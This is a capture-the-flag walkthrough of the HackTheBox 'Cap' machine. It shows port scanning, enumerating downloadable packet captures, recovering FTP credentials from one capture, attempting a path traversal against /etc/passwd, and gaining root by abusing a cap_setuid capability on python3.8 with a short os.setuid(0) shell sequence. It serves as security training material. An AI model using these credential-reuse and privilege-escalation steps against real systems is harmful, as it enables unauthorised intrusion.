HackTheBox — Cap
In this writeup we're looking at the Cap box from HackTheBox. This box goes into PCAP analysis and linux capability sets.
Alright, getting started we see our target is 10.10.10.245
. Running a typical port scan results in TCP ports 21, 22, and 80 being open.
Since we see FTP (vsftpd
3.0.3), we should check if anonymous login is allowed and it is not. We should pop over to see what is available on 80.
We seem to be logged in already as Nathan, and we can observe having access to the output from netstat
and ip
. We also have access to a PCAP page which allows you to download the file 9.pcap.
Checking the network activity shows we are hitting a /download/9
page. Maybe we can enumerate this to gather other PCAP files?
Quickly checking 0–8 we find valid files and download them. Checking 10 there is no file found. We also check for some simple path traversal and enter in ../../../../../../../../../../../../../../../../../../../../etc/passwd
and receive a 404
not found.
We should probably analyze these PCAP files and see what they contain. Checking 0.pcap
we can observe an FTP session occurring including credentials and attempting to access a notes.txt
file.
FTP Credential — nathan
:Buck3tH4TF0RM3!
Lets try our new found credentials against the FTP service. Once logged in, we immediately see the user.txt
file and can grab it with the get user.txt
command.
While we’re here, lets see if we can move around at all. Issuing a pwd
we can see we are in the /home/nathan
directory. We can also leave this directory by executing cd /
.
We can further access the /etc
directory and execute get passwd
to grab the /etc/passwd
file and see what other users are on the machine. Viewing the passwd
file doesn’t seem to show any other interesting users immediately.
We can also traverse to the /var/www/html
directory and take a look around to see what else was available on the website. We see we already grabbed all of the available PCAP files and not much else of interest is present except the /var/www/html/app.py
file. We can pull it off the system by executing get app.py
.
Opening up the application we see it is a Flask application and it contains some potentially dangerous functionality. The capture()
function contains script that elevates the application to root privileges (os.setuid(0)
) and uses it to execute tcpdump
. This may be of interest to us but we can continue looking for now.
Maybe we can just log in via SSH with nathan
’s credential we found earlier. We sure can.
If you are enjoying this article your support would be greatly appreciated!
Once logged in, we see if we can run anything with root
privileges by executing sudo -l
and provide the password for nathan
. Apparently nathan
is not allowed to sudo
.
We should also check to see what is running using ps -A
. Not seeing anything, maybe there are tasks scheduled to be ran regularly in cron
, so check the /etc/cron*
directories/files. Also not finding much there.
nathan@cap:/etc$ ps -A
PID TTY TIME CMD
1356 ? 00:00:00 systemd
1482 pts/0 00:00:00 bash
1828 pts/1 00:00:00 bash
2790 pts/0 00:00:00 psnathan@cap:/etc$ cat cron*
cat: cron.d: Is a directory
cat: cron.daily: Is a directory
cat: cron.hourly: Is a directory
cat: cron.monthly: Is a directory
cat: cron.weekly: Is a directory
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don’t have to run the `crontab’
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin# Example of job definition:
# . — — — — — — — — minute (0–59)
# | . — — — — — — — hour (0–23)
# | | . — — — — — day of month (1–31)
# | | | . — — — — month (1–12) OR jan,feb,mar,apr …
# | | | | . — — day of week (0–6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
17 * * * * root cd / && run-parts — report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts — report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts — report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts — report /etc/cron.monthly )
#
nathan@cap:/etc$ ls cron*
crontabcron.d:
e2scrub_all popularity-contestcron.daily:
apport apt-compat bsdmainutils dpkg logrotate man-db popularity-contest update-notifier-commoncron.hourly:cron.monthly:cron.weekly:
man-db update-notifier-common
After floundering in the darkness for a while, maybe you’ll just try running app.py
that we found earlier. You’ll need to change the port it operates on to something else, in my case I tried 8080
. Everything seems to execute correctly. Attempting to navigate over to :8080/capture
in the web application we can observe the calls happening on the backend. To my surprise, there are no errors about executing os.setuid(0)
. This is normally a gigantic no-no and should not be the case. Let’s shut this down and continue testing. We effectively have the root
account now but, honestly, why?
My first thought was perhaps the __pycache__
directory has some pre-compiled binaries that have improper permissions set?
nathan@cap:/var/www/html/__pycache__$ ls -alh
total 16K
drwxr-xr-x 2 nathan nathan 4.0K May 27 09:10 .
drwxr-xr-x 6 nathan nathan 4.0K Aug 26 01:03 ..
-rw-r — r — 1 nathan nathan 4.3K May 27 09:10 app.cpython-38.pyc
No, those are fine. My second thought was perhaps the python3
binary itself had improper permissions set but again, no, those seems perfectly fine.
nathan@cap:/usr/bin$ which python3
/usr/bin/python3nathan@cap:/usr/bin$ ls -alh python3
lrwxrwxrwx 1 root root 9 Mar 13 2020 python3 -> python3.8nathan@cap:/usr/bin$ ls -alh python3.8
-rwxr-xr-x 1 root root 5.3M Jan 27 2021 python3.8
After some digging into the os.setuid
function in python I stumbled across a comment on StackOverflow that mentioned lacking the necessary capability to execute os.setuid
. This reminded me of Linux capability sets. I immediately checked the capabilities issued to the user nathan
.
nathan@cap:/usr/bin$ capsh — print
Current: =
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read
Ambient set =
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
secure-no-ambient-raise: no (unlocked)
uid=1001(nathan) euid=1001(nathan)
gid=1001(nathan)
groups=1001(nathan)
Guessed mode: UNCERTAIN (0)
To my surprise, nathan
lacks the CAP_SETUID
capability. What in the hell is going on here?
Some more digging led to a learning moment. Binaries can have capability sets as well. I will forever add to my list of things to check the following command which would have landed us the root
account in minutes.
nathan@cap:/usr/bin$ getcap -r / 2>/dev/null
/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
/usr/bin/ping = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep
Now we have the whole picture. The /usr/bin/python3.8
binary has a capability bestowed upon it, cap_setuid
, which allows the binary to switch privileges at whim. What a disaster.
Let’s finish this out in a pretty clean fashion.
nathan@cap:/$ python3
Python 3.8.5 (default, Jan 27 2021, 15:41:15)
[GCC 9.3.0] on linux
Type “help”, “copyright”, “credits” or “license” for more information.
>>> import os
>>> os.setuid(0)
>>> os.system(“/bin/bash”)root@cap:/# cat /root/root.txt
16da355f78ad82f0b4dde7c33bbb7613root@cap:/# ps aux | grep python3
nathan 1059 0.0 1.0 26744 21732 ? Ss 00:53 0:00 /usr/bin/python3 /usr/local/bin/gunicorn app:app -b 0.0.0.0:80 -w 4 — threads 16
root 1073 0.0 0.8 26300 17808 ? Ss 00:53 0:00 /usr/bin/python3 /usr/bin/networkd-dispatcher — run-startup-triggers
nathan 1169 0.0 1.6 115552 33428 ? S 00:53 0:00 /usr/bin/python3 /usr/local/bin/gunicorn app:app -b 0.0.0.0:80 -w 4 — threads 16
nathan 1170 0.0 1.6 115552 33412 ? S 00:53 0:00 /usr/bin/python3 /usr/local/bin/gunicorn app:app -b 0.0.0.0:80 -w 4 — threads 16
nathan 1171 0.0 1.6 115556 33408 ? S 00:53 0:00 /usr/bin/python3 /usr/local/bin/gunicorn app:app -b 0.0.0.0:80 -w 4 — threads 16
nathan 1172 0.0 1.6 115556 33416 ? S 00:53 0:01 /usr/bin/python3 /usr/local/bin/gunicorn app:app -b 0.0.0.0:80 -w 4 — threads 16
root 3140 0.0 0.4 13592 9920 pts/0 S 01:45 0:00 python3
root 3279 0.0 0.1 5192 2532 pts/0 S+ 01:50 0:00 grep — color=auto python3
There we have it. We can also observe that the original application was indeed running as the user nathan
all along.